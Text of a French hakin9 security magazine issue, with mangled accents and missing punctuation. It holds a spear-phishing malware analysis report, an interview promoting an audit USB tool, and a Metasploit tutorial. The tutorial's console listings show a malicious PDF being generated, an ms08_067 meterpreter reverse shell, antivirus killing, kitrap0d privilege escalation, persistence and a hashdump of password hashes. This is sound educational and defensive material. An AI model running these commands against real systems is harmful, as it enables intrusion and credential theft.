Les analyses des diffeacuterentes composantes nont pas eacuteteacute effectueacutees dans lordre ougrave elles sont eacutenonceacutees dans les sous-sections suivantes mais le deacutetail des sous-sec-tions reacutevegravele comment lanalyse est effectueacutee et quelle information est acquise par lanalyse La premiegravere sous-partie traite des informations obtenues suite agrave lrsquoanalyse des serveurs web externes Dans la section suivante nous nous inteacuteresserons plus speacutecifiquement au dropper et au troyen utiliseacutes par les attaquants ainsi qursquoagrave lrsquoana-lyse de la porte deacuterobeacutee reacutecupeacutereacutee sur le site pirate

analyse serveurLa meacutethodologie de lrsquoanalyse des serveurs web eacutetait prin-cipalement en black-box sachant que nous nrsquoavions pas

accegraves aux systegravemes Par ailleurs les phases drsquoanalyse et de reconnaissance devaient rester discregravetes Les reacutesul-tats obtenus suite agrave lrsquoanalyse serveur srsquoappuient sur les meacutetadonneacutees recueillies et les reacutesultats qui en deacutecoulent Les reacutesultats se sont appuyeacutes sur les requecirctes des en-tecirctes HTTP sachant que les trois serveurs tournaient sous Microsoft IIS 60 ce qui signifie que les serveurs tournent avec un systegraveme drsquoexploitation Microsoft Server 2003

Le serveur qui a lanceacute le cheval de troie a lrsquoadresse IP 20322022138 est fonctionnel depuis le Jeudi 16 Oc-tobre 2008 110256 et correspond au domaine techsuscomau Une rapide recherche sur Google montre que ce site est en place depuis un bon moment Par ailleurs une signature McAfee existe pour cette porte deacuterobeacutee et est active depuis Septembre 2007 (Backdoor-DMG McA-fee Inc httpvilnaicomvilcontentv_143081htm) Le serveur qui a heacutebergeacute cette porte deacuterobeacutee a reacutecemment reccedilu des modifications sur sa page index qui semble dis-poser de commandes de controcircle hosting comme illustreacute agrave la Figure 4 Le serveur sur lequel se connecte la porte deacuterobeacutee a pour adresse 6322812819 et est fonctionnel

Figure 8 Cheval de troie contactant un serveur hard-coded pour les commandes

Figure 9 Interception du trafic web du cheval de troie par Fiddler

Figure 10 Tokens utiliseacutes pour identifier les commandes de la page web

Figure 11 Immunity Debugger affiche la commande parseacutee par le cheval de troie

5201018

attaque

depuis le Lundi 25 Juin 2007 130604 GMT Les reacutesultats relatifs aux en-tecirctes HTTP apparaissent agrave la Figure 4

analyses primaires et secondaires des charges viralesLa piegravece jointe de lrsquoe-mail de phishing est un fichier drsquoaide compileacute HTML de Microsoft autrement dit un fichier CHM Ces types de fichiers fournissent de lrsquoaide aux utilisateurs sous environnements Microsoft Windows Ils permettent eacutegalement de consulter facilement des e-books Pour obtenir lrsquointeacutegraliteacute du contenu du fichier CHM nous avons utiliseacute le logiciel CHMDumper dispo-nible sur Mac Cette application nous a permis drsquoextraire lrsquoensemble des fichiers et reacutepertoires et drsquoobtenir des in-formations speacutecifiques sur le cheval de troie et le fichier HTML qui permet de le lancer Error Reference source not found La page suivante montre les fichiers extraits par CHMDumper mais le plus gros de lrsquoanalyse srsquoest fait avec svchostexe et FRB Conference on Key Develop-ments in Monetary Economichtm La Figure 3 abordeacutee dans les paragraphes preacuteceacutedents montre en deacutetail les eacuteleacutements agrave lrsquoorigine de lrsquoexeacutecution du cheval de troie

Lrsquoanalyse statique est utiliseacutee pour veacuterifier si le binaire est ou non proteacutegeacute puis met en eacutevidence les chaicircnes ou fonctions importantes La premiegravere eacutetape dans lrsquoanalyse drsquoun cheval de troie est drsquoutiliser des commandes Unix pour veacuterifier si le binaire est proteacutegeacute dispose de donneacutees de controcircle Mais nous avons pu eacutegalement observer que certains jeux drsquoinstructions eacutetaient encodeacutes en Base 64 et drsquoautres eacutetaient des adresses IP et URI Nous avons noteacute

lrsquoutilisation de commandes HTTP et de lrsquoAPI WinINet agrave par-tir des tables importeacutees comme indiqueacute en Figure 6

Une fois que nous avons obtenu un aperccedilu du cheval de troie le fichier binaire est analyseacute avec IDA Pro pour eacutetudier la maniegravere dont les chaicircnes de caractegraveres sont traiteacutees et pour reacutealiser une analyse de code statique Lrsquoanalyse sous IDA Pro a permis drsquoidentifier les routines qui initiaient la connexion agrave la page drsquoauthentification ainsi que les fonctions responsables du teacuteleacutechargement du malware La Figure 8 montre lrsquohocircte qui est contacteacute par le cheval de troie pour obtenir une nouvelle commande de lrsquoattaquant La Figure 7 montre la routine qui initie le teacuteleacutechargement Au cours de cette eacutetape le logiciel GNU Wget permet drsquoobtenir une co-pie de la page comme illustreacute en Figure 8 Les commandes de base dans la page eacutetaient relativement complexes mais apregraves analyse sous IDA Pro les tokens utiliseacutes par le che-val de troie eacutetaient lisibles La Figure 10 montre la portion de code qui permet de reacutecupeacuterer les commandes de la page web Les tokens (lt-- --gt) sont consideacutereacutes comme des commentaires et de ce fait ne sont pas parseacutes (analyseacutes et exeacutecuteacutes) par le navigateur ce qui explique que nous ne les retrouvons pas dans lrsquoaffichage de la page HTML

Lrsquoanalyse dynamique est utiliseacutee pour veacuterifier les hypothegraveses preacuteceacutedentes et identifier les aspects fonc-tionnels qui nous auraient eacutechappeacute durant lrsquoanalyse sta-tique Pour lrsquoanalyse live une machine virtuelle avec les logiciels Immunity Debugger et Fiddler a eacuteteacute utiliseacutee

Des points drsquoarrecirct ont eacuteteacute placeacutes aux endroits citeacutes preacuteceacutedemment Etant donneacute que le cheval de troie uti-lise lrsquoAPI WinINet le programme Fiddler Web Debugger a eacuteteacute utiliseacute pour surveiller les communications entre le troyen et le serveur web

La Figure 9 montre Fiddler en action alors que le logiciel intercepte des requecirctes web entre le serveur de lrsquoatta-quant et le cheval de troie Cette meacutethode nous a permis drsquoidentifier lrsquoen-tecircte HTTP User-Agent speacutecifiquement au troyen Lorsque lrsquohocircte est compromis par le cheval de troie ce dernier deacutefinit lrsquoen-tecircte User-Agent comme hocircte +Windows+NT+51 par exemple le nom drsquohocircte pour apridgene8fb8+ Windows+NT+51 serait apridgen-e8fb8 Apregraves avoir utiliseacute Immunity Debugger pour veacuterifier les donneacutees entreacutees comme indiqueacute en Figure 11 nous nous sommes axeacutes sur lrsquoanalyse du prochain binaire

Figure 12 Commandes passeacutees entre le client et le serveur

Figure 13 Deuxiegraveme tentative pour reacutecupeacuterer le binaireFigure 14 Requecircte du faux cheval de troie et reacuteponse de la commande sleep command

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 19

Une fois les meacutecanismes du cheval de troie mis agrave jour plusieurs requecirctes ont eacuteteacute envoyeacutees au serveur de lrsquoatta-quant mais les commandes de la page web sont resteacutees inchangeacutees pendant plus de vingt minutes En raison de la nature incontrocirclable drsquoun cheval de troie une impleacutemen-tation en langage Python du cheval de troie client a eacuteteacute deacuteveloppeacutee Le client ne srsquoest servi que des commandes sleep et download apregraves analyse avec IDA Pro

Apregraves avoir testeacute des iteacuterations au niveau client nous avons laisseacute le programme poursuivre son exeacutecution La Figure 16 preacutesente une capture drsquoeacutecran du client final pour le cheval de troie La Figure 15 montre une capture eacutecran de la requecircte entre le client (cheval de troie) et le serveur web La requecircte du cheval de troie est en surbrillance dans le cadre bleu et la commande figurant dans la reacuteponse du serveur apparaicirct dans le cadre rouge Apregraves six heures de tests (polling) sur le site la commande utiliseacutee a changeacute pour la commande download La Figure 12 montre le temps eacutecouleacute agrave partir du moment ougrave le script est exeacutecuteacute jusqursquoau moment ougrave la commande download est initieacutee La Figure 13 de la page preacuteceacutedente affiche la reacuteponse HTTP 404 apregraves la deuxiegraveme tentative pour reacutecupeacuterer le binaire

analyse de la porte deacuterobeacutee (backdoor)Le fichier binaire obtenu a eacuteteacute identifieacute en utilisant des commandes Unix puis en analysant les chaicircnes de carac-tegraveres Certaines chaicircnes preacutesentes dans le fichier binaire ressemblaient agrave celles du cheval de troie eacutetant donneacute qursquoelles eacutetaient encodeacutees en Base 64 Une autre chaicircne inteacuteressante comportait une adresse IP et un port hard-coded Une analyse avanceacutee a montreacute que ce serveur et le port en question permettaient drsquoeacutetablir des appels vers le serveur une fois le fichier binaire exeacutecuteacute La Figure 17 affiche les commandes du cheval de troie preacutesentes dans la porte deacuterobeacutee Ce lien nous a permis drsquoeacutemettre lrsquohypo-thegravese que la porte deacuterobeacutee et le cheval de troie partagent le mecircme code Apregraves lrsquoanalyse statique similaire agrave celle

deacutecrite dans le chapitre preacuteceacutedent un environnement vir-tuel a eacuteteacute mis en place pour analyser la porte deacuterobeacutee Lrsquoenvironnement comportait une version reacutecente drsquoUbuntu avec Apache et une page de commandes fondeacutee sur le fichier loginhtml citeacute preacuteceacutedemment Le cheval de troie et la porte deacuterobeacutee ont ensuite eacuteteacute modifieacutes pour tester le trafic reacuteseau en interne Le malware a eacuteteacute modifieacute avec Radare Une fois la page de commandes HTML modifieacutee le cheval de troie la porte deacuterobeacutee et lrsquoensemble des fi-chiers sont placeacutes dans le reacutepertoire Web du serveur Apa-che et une analyse live est reacutealiseacutee Le cheval de troie est ensuite teacuteleacutechargeacute sur lrsquohocircte servant de test puis exeacutecuteacute pour simuler une attaque par phishing Une fois exeacutecuteacute lrsquoexeacutecutable svchostexe sonde le serveur web eacutetant don-neacute qursquoil a eacuteteacute modifieacute La page HTML hard-coded initie le teacuteleacutechargement de la porte deacuterobeacutee par lrsquointermeacutediaire du cheval de troie puis lrsquoexeacutecute

Une fois la porte deacuterobeacutee lanceacutee Immunity Debugger analyse le processus Comme indiqueacute preacuteceacutedemment si la porte deacuterobeacutee provoque des erreurs elle srsquoauto-deacutetruit et se deacutesinstalle du disque hocircte La majoriteacute des erreurs provenaient des modifications apporteacutees au fichier binaire et non pas du listener (logiciel drsquoeacutecoute)

Pour acceacuteleacuterer la phase drsquoanalyse des fonctions binai-res et un serveur classique pour la porte deacuterobeacutee ont eacuteteacute impleacutementeacutes avec le langage Python Lrsquoimpleacutementation gegravere lrsquoeacutecoute la reacuteception et le deacutecodage des messages ainsi que lrsquoencodage et lrsquoenvoi des commandes agrave la porte deacuterobeacutee

La Figure 21 preacutesente une capture drsquoeacutecran des fonc-tions utiliseacutees Pour reacutecapituler le setup_listener eacutecoute les connexions sur lrsquoadresse IP et le port speacutecifieacute La fonction recv_data reccediloit les donneacutees en entreacutee sur le socket et get_next_string lit la taille du message et la Base 64 deacutecode la prochaine suite de N caractegraveres La Figure 21 montre un message type avant traitement Les quatre premiers caractegraveres permettent de connaicirc-tre la taille du fichier au format ASCII et la longueur de la chaicircne traiteacutee tels que les donneacutees de la porte deacuterobeacutee Pour finir send_cmd prend en entreacutee une chaicircne de com-mandes et un socket puis envoie agrave la porte deacuterobeacutee une commande encodeacutee en Base 64 au socket

La Figure 21 repreacutesente un listener de porte deacuterobeacutee en cours drsquoutilisation La ligne 302 indique que le listener est en eacutecoute et attend une connexion La ligne 303 montre une commande cmd envoyeacutee agrave la porte deacuterobeacutee Cette commande invoque la commande de lrsquoenvironne-ment de la porte deacuterobeacutee Les eacuteleacutements inutiles (dir Ctextbackslash) sont ignoreacutes par la commande initialisant

Figure 15 Impleacutementation basique du cheval de troie eacutecrit en Python

Figure 16 Commandes du binaire de la porte deacuterobeacutee

5201020

attaque

la routine Nous voyons dans le cas preacutesent la chaicircne de connexion envoyeacutee par la porte deacuterobeacutee suivie drsquoune invite de commande Base 64 avec le reacutepertoire courant La ligne 305 affiche un listing du reacutepertoire courant Les lignes 306 et 309 traitent la commande Les autres com-mandes de lrsquoenvironnement du backdoor comprennent la commande cd qui permet de changer de reacutepertoire puis de clore et quitter lrsquoenvironnement La seule autre commande agrave laquelle la porte deacuterobeacutee semblait reacutepon-dre eacutetait la commande quit Cette commande permet de deacutesinstaller complegravetement la porte deacuterobeacutee puis de quitter Les autres entreacutees ont eacuteteacute ignoreacutees

Gestion des risquesLes attaques par spear-phishing ne neacutecessitent pas lrsquoutilisation de techniques avanceacutees En effet la plupart du temps ces techniques sont bien documenteacutees et per-mettent de prendre le controcircle drsquoun systegraveme En outre les binaires utiliseacutes nrsquoeacutetaient pas tregraves sophistiqueacutes Les binaires peuvent ecirctre aiseacutement modifieacutes avec un eacutediteur hexadeacutecimal si bien que le code source na pas agrave ecirctre retravailleacute pour lrsquoattaque ou le deacuteploiement de binaires les binaires srsquoadaptent directement aux besoins

Des mesures preacuteventives peuvent ecirctre entreprises pour mieux geacuterer les risques elles incluent la forma-tion des utilisateurs ainsi que des tests dispenseacutes aux eacutequipes informatiques (Rachna Dhamija JD Tygar and Marti Hearst ldquoWhy Phishing Worksrdquo CHI 06 Pro-ceedings of the SIGCHI conference on Human Factors in computing systems 2006) Parallegravelement les pare-feux et proxies reacuteseaux peuvent restreindre lrsquoaccegraves aux programmes neacutefastes empecircchant la creacuteation de connexions reacuteseaux Certains systegravemes sophistiqueacutes contournent ces protections cette technologie aurait limiteacute ce genre drsquoattaque Les mesures de deacutetections sont limiteacutees Dans ce contexte les commandes du

cheval de troie sont restreintes et inteacutegreacutees agrave un token les pages web peuvent ecirctre analyseacutees pour des chaicircnes speacutecifiques Une autre mesure de deacutetection sappuie sur le cheval de troie svchostexe en cours drsquoexeacutecution Par ailleurs une autre meacutethode consiste agrave effectuer un audit et un monitoring des programmes au lancement de lrsquoordinateur La deacutetection drsquoune porte deacuterobeacutee peut suivre des actions bien diffeacuterentes Si la porte deacuterobeacutee communique sur le port 443 comme dans le cas preacute-sent le texte brut en Base 64 serait consideacutereacute comme une anomalie

ConclusionCe rapport couvre lrsquoanalyse drsquoattaques en spear-phishing Pour analyser cette attaque nous avons effectueacute des analyses statiques de lrsquoensemble des fichiers binaires des analyses dynamiques sur les exeacute-cutables des exeacutecutables modifieacutes pour ecirctre manipuleacutes dynamiquement dans un environnement controcircleacute et nous avons finalement effectueacute une reconnaissance drsquohocirctes CampC

Les outils et techniques utiliseacutes lont eacuteteacute meacuteticuleuse-ment pour eacuteviter de se faire repeacuterer Lrsquoattaquant dispo-sait de connaissances reacuteseaux avanceacutees sur Windows et les commandes associeacutees Il a prouveacute qursquoil avait des connaissances avanceacutees des commandes botnet et autres controcircles qursquoil a impleacutementeacutes dans un toolkit efficace Il apparaicirct que le toolkit nrsquoutilise pas de code public ou des botnets connus et manque drsquoexploits sophistiqueacutes et meacutecanismes de protection Lrsquoattaquant a eacutegalement reacuteussi agrave eacutetablir des connexions serveurs et agrave cacher son identiteacute Ceci nous a ameneacute agrave penser qursquoil srsquoagissait drsquoune organisation criminelle qui cherchait agrave soutirer de lrsquoargent agrave des particuliers ou profession-nels

En revanche les auteurs ne savent pas comment lrsquoattaque a eacuteteacute deacutetecteacutee initialement Certaines activiteacutes peuvent toutefois faire pressentir une attaque fichier CHM bloqueacute par le filtre du client de messagerie fi-chiers eacutecrits et non supprimeacutes du disque dropper qui eacutecrit directement au registre ou trafic HTTP sur le port 443 plutocirct que HTTPS Cependant nous avons vu des malwares similaires efficaces utiliseacutes sur drsquoautres sys-tegravemes ndash sans ecirctre deacutetecteacutes Crsquoest pour cette raison que la gestion des risques passe par la formation du person-nel etou des utilisateurs lrsquoutilisation drsquoantivirus agrave jour des pare-feux fondeacutes sur des hocirctes et les connexions exteacuterieures ainsi que des proxies reacuteseaux qui limitent le trafic et permettent une surveillance accrue

a PROPOd de LauteuRAdam PridgenThe Cover of Night LLCadampridgenthecoverofnightcom

Figure 17 Listener basique de la porte deacuterobeacutee et impleacutementation serveur en Python

Interview

hakin9orgfr 21

Pouvez-vous preacutesenter en quelques mots la socieacuteteacute VulnIT VulnIT La socieacuteteacute VulnIT creacuteeacutee en novembre 2009 est neacutee de ce constat la seacutecuriteacute des systegravemes drsquoinformation est insuffisamment testeacutee dans la gran-de majoriteacute des entreprises par manque de moyens de temps et de compeacutetences

Dans un souci constant drsquoefficaciteacute et de transpa-rence nous nous sommes attacheacutes agrave deacutevelopper une solution accessible tant en termes de simpliciteacute drsquoutilisation que de prix Ainsi le produit lrsquointerface graphique et le rapport drsquoaudit ont eacuteteacute conccedilus pour permettre agrave lrsquoutilisateur de tirer le meilleur parti de la solution et drsquoameacuteliorer la seacutecuriteacute informatique de son entreprise

Nous sommes en avant-premiegravere de la solution innovante VulnIT Pouvez-vous nous en dire plus VulnIT VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation au-tomatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

Lrsquoaccessibiliteacute constitue le facteur diffeacuterenciant de la solution VulnIT En effet lrsquoenvironnement complet em-barqueacute dans la cleacute USB VulnIT assure sa portabiliteacute et sa souplesse drsquoutilisation lrsquoaccessibiliteacute financiegravere eacutega-lement permettant enfin aux entreprises de taille plus modeste de srsquooutiller dans un domaine encore reacuteserveacute agrave une expertise eacutelitiste

Enfin lrsquoapproche par les risques ndash avec une reacuteelle qualification des vulneacuterabiliteacutes tenant compte de leur exploitabiliteacute ndash facilite la priorisation des corrections agrave effectuer

Quelles sont les fonctionnaliteacutes de la cleacute USB VulnIT VulnIT Une fois la cleacute USB inseacutereacutee dans le poste drsquoaudit il suffit de preacuteciser quel(s) serveur(s) auditer pour obtenir en quelques instants un rapport preacutecis et didactique recensant les vulneacuterabiliteacutes deacutetecteacutees et le moyen de les reacutesoudre

La solution VulnIT integravegre ainsi un panel de tests criti-ques sur les bases de donneacutees la messagerie les par-tages de fichiers les connexions agrave distance la super-vision reacuteseau etc Ces tests sont exeacutecuteacutes selon les services identifieacutes sur les serveurs constituant la cible drsquoaudit

De plus la solution repose sur une architecture particuliegraverement eacutevolutive srsquoenrichissant freacutequemment de nouveaux tests de seacutecuriteacute par simple mise agrave jour sur Internet

A qui est adresseacute ce nouveau produit VulnIT Ce produit srsquoadresse en premier lieu aux entre-prises de taille intermeacutediaire (250 agrave 5000 personnes) de tout secteur dont la maturiteacute informatique a deacutepasseacute la mise en œuvre des architectures de seacutecuriteacute eacuteleacutemen-taires (pare-feu antivirus antispam etc) mais qui ne disposent pas encore drsquoun controcircle permanent en seacute-curiteacute informatique ni mecircme pour la plupart drsquoun RSSI nommeacute

Par ailleurs les auditeurs et consultants en seacutecuri-teacute informatique appreacutecieront notre outil pour le gain de temps qursquoil offre en automatisant les tests de seacutecuriteacute fondamentaux et reacutecurrents agrave chaque audit

Pour quand est preacutevue sa sortie officielle VulnIT La premiegravere version de la solution sera com-mercialiseacutee agrave partir de juin 2010 Elle sera rapidement enrichie par les tests de sites web de patch manage-ment et des eacuteleacutements drsquoarchitecture (pare-feux rou-teurs)

Ougrave pourrons-nous acheter la solution VulnIT VulnIT La solution VulnIT sera disponible sur com-mande uniquement en nous contactant via notre si-te web (httpwwwvulnitcom) ou par teacuteleacutephone (0155949271)

Nous remercions M Vincent Maury pour avoir reacutepondu aux questions de Hakin9

VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation automatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

5201022

Focus

Le Projet Metasploit est un projet open-source visant agrave fournir des informations et des utilitai-res destineacutes aux pen-testers aux chercheurs

en seacutecuriteacute des systegravemes dinformations et aux deacute-veloppeurs de signatures dIDS (Intrusion Detection System) Creacuteeacute par HD Moore en 2003 Metasploit eacutetait agrave lorigine un jeu en reacuteseau deacuteveloppeacute en Perl Le plus connu des sous-projets est le Metasploit

Framework deacuteveloppeacute en Ruby agrave la fois un logi-ciel de pen-testing et une plateforme de deacutevelop-pement pour la creacuteation dutilitaires de seacutecuriteacute et dexploits

Parmi les autres sous-projets nous trouvons Warvox (httpwarvoxorg) eacutecrit en Ruby et publieacute en 2009 une suite dutilitaires destineacutee agrave laudit des systegravemes de teacute-leacutephonie

Le projet Metasploit

Parmi les outils deacutedieacutes agrave la seacutecuriteacute informatique le projet Metasploit a marqueacute son temps avec le Metasploit Framework Nous allons preacutesenter cet outil deacutedieacute agrave la recherche leacutecriture et lexploitation de vulneacuterabiliteacutes Nous eacutetudierons les diffeacuterences avec Metasploit Express le nouveau logiciel de Rapid7

cet article expliquebull deacutefinition du projet Metasploitbull lutilisation de Metasploit Framework et Metasploit Express

ce quil faut savoirbull utilisation de Linux

Alexandre LAcAN

Listing 1 Exeacutecution du module auxiliaire fakedns

msf gt use auxiliaryserverfakedns

msf auxiliary(fakedns) gt set targethost 1921680200

targethost =gt 1921680200

msf auxiliary(fakedns) gt exploit

[] Auxiliary module execution completed

msf auxiliary(fakedns) gt

[] DNS server initializing

[] DNS server started

Dans une autre fenecirctre nous pouvons veacuterifier le bon fonctionnement

rootlades-desktophomeuser nslookup updatemicrosoftcom 127001

Server 127001

Address 12700153

Non-authoritative answer

Name updatemicrosoftcom

Address 1921680200

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 23

me Egypt et Jduck Ce rachat a permis linteacutegration de NeXpose (la version Community Edition est gratuite) avec Metasploit Framework associant un scanner de vulneacuterabiliteacutes avec un logiciel dexploitation de vulneacute-rabiliteacutes Nous verrons au cours de cet article lavan-tage que cela procure

Enfin le 22 avril 2010 HD Moore a annonceacute sur son blog (httpblogmetasploitcom) la parution dun nou-veau logiciel Metasploit Express Cet outil est une solution destineacute aux consultants et aux pen-testers professionnels permettant de faciliter lutilisation du Framework Metasploit et de NeXpose en automatisant au maximum les tests de peacuteneacutetrations Contrairement aux autres projets Metasploit Express est sous licence proprieacutetaire et payant Un prix de 3000 $ par utilisa-teur et par an a eacuteteacute annonceacute par HD Moore sur Twitter (httptwittercomhdmoore) Depuis le rachat du projet Metasploit des interrogations sur lavenir de la licence ont eacutemergeacutees Cependant plusieurs fois HD Moore a tenu a rassureacute la communauteacute des utilisateurs en affirmant que le Metasploit Framework restera open-source et gratuit sous licence BSD

Metasploit FrameworkLe Framework dispose de plusieurs base de don-neacutees La base dopcode est une ressource impor-

Le sous-projet Metasploit Decloaking Engine (httpdecloaknet) est un site web contenant un ensemble de test permettant de veacuterifier lanonymat dun utilisateur surfant derriegravere un proxy Un utilisateur du reacuteseau Tor (httpwwwtorprojectorg) peut effectuer ce test pour veacuterifier que les paramegravetres de son navigateur ne trahis-sent pas sa veacuteritable adresse IP

Metasploit Anti-Forensics Project (httpwwwme-tasploitcomresearchprojectsantiforensics) creacuteeacute par Vinnie Liu et maintenu par la communauteacute vise agrave creacuteer des utilitaires et des techniques permettant de se proteacuteger contre la recherche de preuve (forensic evidence)

Enfin le sous-projet Rogue Network Link Detection (httpwwwmetasploitcomresearchprojectsro-gue_network) est un projet visant agrave deacutetecter les liens reacuteseaux (passerelles bornes wifi ) non autoriseacutes au sein de grand reacuteseaux permettant doutrepasser la seacute-curiteacute exisante (proxy IDS hellip) Ce dernier projet na pas eacuteteacute mis agrave jour depuis deacutecembre 2005

En octobre 2009 le projet Metasploit a eacuteteacute racheteacute par la socieacuteteacute Rapid7 (httpwwwrapid7com) eacuteditrice du scanner de vulneacuterabiliteacutes NeXpose HD Moore a rejoint la socieacuteteacute Rapid7 comme Chief Architect of Metasploit et Chief Security Officer of Rapid7 Dautres contributeurs du projets ont rejoint cette socieacuteteacute com-

Listing 2 Creacuteation dun PDF malicieux exeacutecutant calcexe lors de son ouverture

msf gt use exploitwindowsfileformatadobe_libtiff

msf exploit(adobe_libtiff) gt set PAYLOAD windowsexec

PAYLOAD =gt windowsexec

msf exploit(adobe_libtiff) gt set CMD calcexe

CMD =gt calcexe

msf exploit(adobe_libtiff) gt exploit

[] Creating msfpdf file

[] Generated output file optmetasploit3msf3dataexploitsmsfpdf

[] Exploit completed but no session was created

Listing 3 Inteacutegration de NeXpose avec le Metasploit Framework

msf gt db_create

[] Creating a new database instance

[] Successfully connected to the database

[] File rootmsf3sqlite3db

msf gt load nexpose

[] NeXpose integration has been activated

[] Successfully loaded plugin nexpose

msf gt nexpose_connect nxadminpassword1270013780

[] Connecting to NeXpose instance at 1270013780 with username nxadmin

msf gt nexpose_scan 17216154130

[] Scanning 1 addresses with template pentest-audit in sets of 32

[] Completed the scan of 1 addresses

msf gt db_autopwn -t -e -x -r

5201024

Focus

Listing 4 Exploit ms08_067 avec utilisation du payload meterpreter

msf gt use exploitwindowssmbms08_067_netapi

msf exploit(ms08_067_netapi) gt set PAYLOAD windows

meterpreterreverse_tcp

PAYLOAD =gt windowsmeterpreterreverse_tcp

msf exploit(ms08_067_netapi) gt set RHOST

17216154130

RHOST =gt 17216154130

msf exploit(ms08_067_netapi) gt exploit

[] Started reverse handler on 1721615414444

[] Automatically detecting the target

[] Fingerprint Windows XP Service Pack 2 ndash lang

French

[] Selected Target Windows XP SP2 French (NX)

[] Attempting to trigger the vulnerability

[] Sending stage (748032 bytes) to 17216154130

[] Meterpreter session 1 opened (1721615414444 -gt

172161541301103) at 2010-05-15

154435 +0200

meterpreter gt run killav

[] Killing Antivirus services on the target

[] Killing off cmdexe

meterpreter gt run kitrap0d

[] Currently running as AUTORITE NTSYSTEM

[] Loading the vdmallowed executable and DLL from the

local system

[] Uploading vdmallowed to CWINDOWSTEMP

EOcQDQQBndUZfexe

[] Uploading vdmallowed to CWINDOWSTEMP

vdmexploitdll

[] Escalating our process (PID1028)

Windows NT2KXP2K3VISTA2K87 NtVdmControl()-

gtKiTrap0d local ring0 exploit

-------------------------------------------- taviso

sdflonestarorg ---

[] GetVersionEx() =gt 51

[] NtQuerySystemInformation() =gt WINDOWSsystem32

ntkrnlpaexe804D7000

[] Searching for kernel 51 signature version 2

[+] Trying signature with index 3

[+] Signature found 0x285ee bytes from kernel base

[+] Starting the NTVDM subsystem by launching MS-DOS

executable

[] CreateProcess(CWINDOWStwunk_16exe) =gt 1644

[] OpenProcess(1644) =gt 0x17e8

[] Injecting the exploit thread into NTVDM subsystem

0x17e8

[] WriteProcessMemory(0x17e8 0x2070000 VDMEXPLOIT

DLL 14)

[] WaitForSingleObject(0x17dc INFINITE)

[] GetExitCodeThread(0x17dc 0012FF44) =gt 0x77303074

[+] The exploit thread reports exploitation was

successful

[+] w00t You can now use the shell opened earlier

[] Deleting files

[] Now running as AUTORITE NTSYSTEM

meterpreter gt run scraper

[] New session on 172161541301103

[] Gathering basic system information

[] Dumping password hashes

[] Obtaining the entire registry

[] Exporting HKCU

[] Downloading HKCU (CWINDOWSTEMPOEJanufereg)

[] Cleaning HKCU

[] Exporting HKLM

[] Downloading HKLM (CWINDOWSTEMPKNTyHcmjreg)

[] Cleaning HKLM

[] Exporting HKCC

[] Downloading HKCC (CWINDOWSTEMPKWEbwoWCreg)

[] Cleaning HKCC

[] Exporting HKCR

[] Downloading HKCR (CWINDOWSTEMPBItKbjvhreg)

[] Cleaning HKCR

[] Exporting HKU

[] Downloading HKU (CWINDOWSTEMPHYlpiwXmreg)

[] Cleaning HKU

[] Completed processing on 172161541301103

meterpreter gt run persistence

[] Creating a persistent agent LHOST=172161541

LPORT=4444 (interval=5

onboot=false)

[] Persistent agent script is 314297 bytes long

[] Uploaded the persistent agent to CDOCUME~1

ADMINI~1LOCALS~1Temp

vuMDpBKJVoZcWvbs

[] Agent executed with PID 1644

[] For cleanup use command run multi_console_command -

s rootmsf3logspersistenceLADES

168306B60_201005150314clean_up__201005150314rc

meterpreter gt hashdump

Administrateur500aad3b435b51404eeaad3b435b51404ee31

d6cfe0d16ae931b73c59d7e0c089c0

HelpAssistant1000531644fb0b5459853dd11198bd8b22e454

b0675178b1ddf7eac5f6d79d28dd1f

Invit501aad3b435b51404eeaad3b435b51404ee31d6cfe0d1

6ae931b73c59d7e0c089c0

SUPPORT_388945a01002

aad3b435b51404eeaad3b435b51404ee

b367d1ccc5e78972105e1b3e3834d47e

meterpreter gt sysinfo

Computer LADES-168306B60

OS Windows XP (Build 2600 Service Pack 2)

Arch x86

Language fr_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 25

tante destineacutee aux deacuteveloppeurs dexploits Ceux-ci peuvent retrouver la position dopcode dans des pro-grammes attaqueacutes permettant le deacuteveloppement de buffer-overflows et dexploits qui peuvent fonctionner sur diffeacuterentes versions dun systegraveme dexploitation cible

La base de donneacutees dexploits mise a jour reacutegu-liegraverement est une ressource de vulneacuterabiliteacutes docu-menteacutees La base de shellcodes (ou payload) est un ensemble doutil permettant la post-exploitation dune faille Pour ecirctre plus clair lors dun test de peacuteneacutetration le pen-tester utilise un exploit pour injecter un pay-load Lexploit ouvre la faille et y deacutepose une charge utile (la payload) par exemple un serveur VNC ou un shell distant Par analogie guerriegravere la structure dun missile est lexploit lexplosif contenu dans le

missile est le payloadLe payload le plus connu du Framework est le Meterpreter Le Meterpreter est un shell distant destineacute aux machines sous Windows dont nous verrons les capaciteacutes au cours de cet ar-ticle

Enfin Le Framework dispose dune base de donneacutees de modules auxiliaires permettant dapporter des outils suppleacutementaires aux pentesters Par exemple le modu-le servercapturepop3 creacuteeacute un faux serveur POP3 qui accepte toutes les connexions entrantes permettant de reacutecupeacuterer des identifiants ce messagerie Au total le Framework dispose de presque 500 exploits et plus de 270 modules auxiliaires des scanners des modu-les serveurs des fuzzers etc Le listing 1 preacutesente lexeacutecution dun faux serveur DNS renvoyant toutes les requecirctes DNS vers ladresse 1921680200

Figure 2 Liste des hocirctes services et failles deacutecouverts

Figure 1 Page daccueil de Metasploit Express

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

